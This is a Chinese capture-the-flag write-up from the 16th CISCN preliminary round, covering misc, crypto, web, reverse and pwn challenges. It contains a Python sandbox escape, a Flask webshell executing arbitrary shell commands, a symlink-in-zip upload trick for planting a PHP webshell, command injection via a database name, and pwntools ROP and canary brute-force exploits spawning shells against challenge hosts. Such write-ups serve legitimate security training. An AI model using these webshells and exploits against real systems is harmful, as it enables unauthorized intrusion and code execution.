第16届ciscn初赛wp

一、战队信息

战队名称: 508

战队排名: 175

二、解题情况

image-20230528170826181

三、解题过程

MISC

被加密的生产流量

QQ截图20230528084837

点击一段TCP流量右键追踪TCP流

QQ截图20230528084556

发现一些字符,猜测是base32,解密后得到flag

flag{c1f_fi1g_1000}

pyshell

nc连上靶机后,FUZZ一波发现一次最多只能用7个字符,并且不可以使用=号,不过我们可以利用_的特性进行字符串拼接得到:

open("/flag").read()

然后eval执行命令得到flag。由于只能用七个字符,需要分段输入:

'open('
_+'"/f'
_+'lag'
_+'").'
_+'rea'
_+'d()'
eval(_)

得到flag

image-20230528172114548

flag{dc1b706a-eec2-40bc-ae16-a14dc56f43e1}

签到卡

关注一下公众号
提示print(open('/etc/passwd').read())

直接读/flag

print(open('/flag').read())

Crypto

基于国密SM2算法的密钥密文分发

按照题目文档所给内容,按步骤执行下列命令:

curl -d "name=&school=&phone=" http://192.168.
31.153:3000/api/login 
curl -d "id=&publicKey=" http://192.168.
31.153:3000/api/allkey
curl -d "id=" http://192.168.
31.153:3000/api/quantum

获得id,找一个网站生成一个SM2的publickey和privatekey,再执行下一个命令:

image-20230528173902748

image-20230528174630632

获得公钥B_Public_Key明文、私钥B_Private_Key密文、随机数C密文,用SM2算法解出随机数C

image-20230528175518894

用SM4-ECB解密B_Private_Key密文:

image-20230528172827249

用SM2解密密钥D获得明文后进行验证,成功后访问/api/search获得flag:

image-20230528172614369

Sign_in_passwd

附件内容

j2rXjx8yjd=YRZWyTIuwRdbyQdbqR3R9iZmsScutj2iqj3/tidj1jd=D
GHI3KLMNJOPQRSTUb%3DcdefghijklmnopWXYZ%2F12%2B406789VaqrstuvwxyzABCDEF5

自定义base

20230528172139

下面一串字符是字母表,urldecode一下

GHI3KLMNJOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5

20230528172139

WEB

go_session

拿到源码后,本地启动一个go服务,修改源码生成admin的cookie:

func Index(c *gin.Context) {
    session, err := store.Get(c.Request, "session-name")
    if err != nil {
        http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
        return
    }
    if session.Values["name"] == nil {
        session.Values["name"] = "admin"
        err = session.Save(c.Request, c.Writer)
        if err != nil {
            http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
            return
        }
    }

    c.String(200, "Hello, guest")
}

将生成的cookie放到靶机上访问进行模板注入

利用context中的方法进行文件上传保存到远程,由于靶机存在debug的flask服务,从flask服务的报错中可以发现其文件为sever.py,因此尝试覆盖掉sever.py写入webshell

from flask import Flask, request
import os

app = Flask(__name__)

@app.route("/", methods=["GET"])
def root():
    s=os.popen(request.args["s"]).read()
    return s

app.run("0.0.0.0", debug=True)

用postman进行模板注入同时上传文件

image-20230528182304680

可以发现保存成功,访问flask服务进行任意代码执行

image-20230528182434450

unzip

在vps上进入/tmp目录后,建立一个软链接

ln -s /var/www/html

进入html目录后,新建一个文件1.php写入一句话木马:

image-20230528183702314

将软链接压缩成html.zip,将html目录压缩成shell.zip:

zip  --symlink html.zip  ./html 
zip  shell.zip ./html/1.php

依次上传html.zip和shell.zip后,访问1.php进行getshell

image-20230528184433066

dumpit

构造报错获得当前目录

image-20230528184813964

通过测试发现db处可以进行命令注入,尝试进行文件写入,发现可以利用错误输出重定向对报错进行写出到文件,经过本地测试发现数据库名会完整的出现在报错中。因此构造数据库名为恶意代码尝试写入webshell:

image-20230528185743729

访问err.php,在phpinfo()中找到flag

image-20230528185830448

RE

babyRE

题目附件给了一个xml文件,通过观察xml头发现一个网站https://snap.berkeley.edu ,在该网站上导入xml文件后观察关键代码:

image-20230528190452960

发现secret的生成方式为flag的每一位异或flag前一位,点击secret获得secret的列表

image-20230528190404336

根据上述逻辑逆向构造python脚本异或获得答案

prime=[102,10,13,6,28,74,3,1,3,7,85,0,4,75,20,92,92,8,28,25,81,83,7,28,76,88,9,0,29,73,0,86,4,87,87,82,84,85,4,85,87,30]
flag='f'
for i in range(1,len(prime)):
    flag += chr(prime[i]^ord(flag[i-1]))
print(flag)
flag{12307bbf-9e91-4e61-a900-dd26a6d0ea4c}

pwn

烧烤摊儿

输入-10000进入vip函数使own=1,进入gaiming栈溢出获取权限

from pwn import *
from LibcSearcher import * 
p=remote("47.94.206.10",42598)
p.sendlineafter('>','1')
p.sendline('1')
p.sendline('-1000000')
p.sendlineafter('>','4')
p.sendlineafter('>','5')

sys=0x4230a6
data=0x4e60f0
rax=0x458827
rdi=0x40264f
rsi=0x40264d
rdx=0x4a404b


payload='/bin/sh\x00'+'a'*0x20
payload+=p64(rdi)
payload+=p64(data)
payload+=p64(rsi)+p64(0)+p64(0)
payload+=p64(rdx)+p64(0)+p64(0)
payload+=p64(rax)+p64(59)+p64(sys)
p.sendline(payload)
p.interactive()

image-20230528191335942

funcanary

爆破canary+跳转后门函数+爆破1位pie

from pwn import *

#p = process("./funcanary")
p=remote("123.56.135.185", 37438)
context.log_level = "debug"
canary = "\x00"

count = 0;
while(1):
    for i in range(256):
        p.recvline()
        log.info("num: " + hex(count) + "     byte: " + hex(i))
        p.send('a'*0x68 + canary + chr(i))
        a=p.recvline()
        if "fun" in a:
                count += 1
                canary += chr(i)
                break
    if count == 7:
    break

for i in range(16):
    payload = "a"*0x68 + canary + p64(0)+p8(0x31) + p8((i*0x10) + 2)
    log.info(hex((i*0x10) + 2))
    p.send(payload)
    a = p.recvuntil("welcome\n")
    if "flag" in a:
        pause()

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至1004454362@qq.com